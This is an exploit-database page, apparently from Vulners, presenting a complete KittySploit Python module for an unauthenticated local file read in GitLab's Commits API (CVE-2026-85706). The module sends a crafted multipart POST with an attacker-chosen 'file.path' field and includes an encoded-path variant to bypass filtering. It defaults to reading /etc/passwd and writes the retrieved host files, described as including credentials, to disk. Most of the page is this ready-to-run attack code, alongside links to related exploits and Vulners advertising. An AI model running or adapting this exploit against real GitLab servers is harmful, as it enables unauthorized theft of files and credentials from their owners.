Lucene search
+L

GitLab Commits API file.path LFI (CVE-2026-85706)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated GitLab Commits API file.path LFI reads arbitrary host files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-85706
11 Sep 202616:18
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
13 Sep 202616:58
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
12 Sep 202610:43
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
11 Sep 202615:58
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
14 Sep 202604:05
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
11 Sep 202615:24
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
17 Sep 202618:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-85706
11 Sep 202621:26
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
30 Sep 202610:57
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
28 Sep 202604:47
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GitLab unauthenticated file.path LFI (CVE-2026-85706)."""

import json
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'GitLab Commits API file.path LFI (CVE-2026-85706)',
        'description': (
            'Exploits CVE-2026-85706 in self-managed GitLab CE/EE: unauthenticated multipart '
            'POST to /api/v4/projects/{id}/repository/commits with attacker-controlled '
            'file.path reads arbitrary host files outside Workhorse temp directories.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-85706'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-85706',
        ],
        'tags': ['gitlab', 'lfi', 'file-read', 'unauth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['data_exfiltration'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/gitlab_cve_2026_85706_detect'],
            },
        },
    }

    project_id = OptInteger(1, 'GitLab project ID', required=False)
    file_path = OptString('/etc/passwd', 'Absolute path to read on GitLab host', required=True)
    output_file = OptString('', 'Local file to write retrieved content', required=False)

    def _multipart(self, path_value: str) -> tuple[bytes, dict]:
        boundary = f'Kitty{secrets.token_hex(12)}'
        body = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="file.path"\r\n\r\n'
            f'{path_value}\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="file"\r\n\r\n\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="file.size"\r\n\r\n'
            f'1\r\n'
            f'--{boundary}--\r\n'
        )
        return body.encode('utf-8'), {'Content-Type': f'multipart/form-data; boundary={boundary}'}

    def execute(self, remote_path: str) -> str:
        project = int(self.project_id or 1)
        paths = (
            f'/api/v4/projects/{project}/repository/commits',
            f'/api/v4/projects/{project}/repository/%63ommits',
        )
        for api_path in paths:
            data, headers = self._multipart(remote_path)
            r = self.http_request(method='POST', path=api_path, headers=headers, data=data, allow_redirects=False)
            if not r:
                continue
            text = r.text or ''
            if remote_path.split('/')[-1] in text:
                return text
            try:
                payload = json.loads(text)
            except json.JSONDecodeError:
                payload = {}
            if isinstance(payload, dict):
                blob = json.dumps(payload)
                if remote_path in blob or remote_path.split('/')[-1] in blob:
                    return blob
        return ''

    def check(self):
        target = str(self.file_path or '/etc/passwd')
        body = self.execute(target)
        if 'root:' in body or target.split('/')[-1] in body:
            return {
                'vulnerable': True,
                'reason': f'file.path read succeeded for {target}',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No file content in API response', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        print_status(f'Reading {target} via file.path ...')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.110
EPSS0.92956
SSVC
0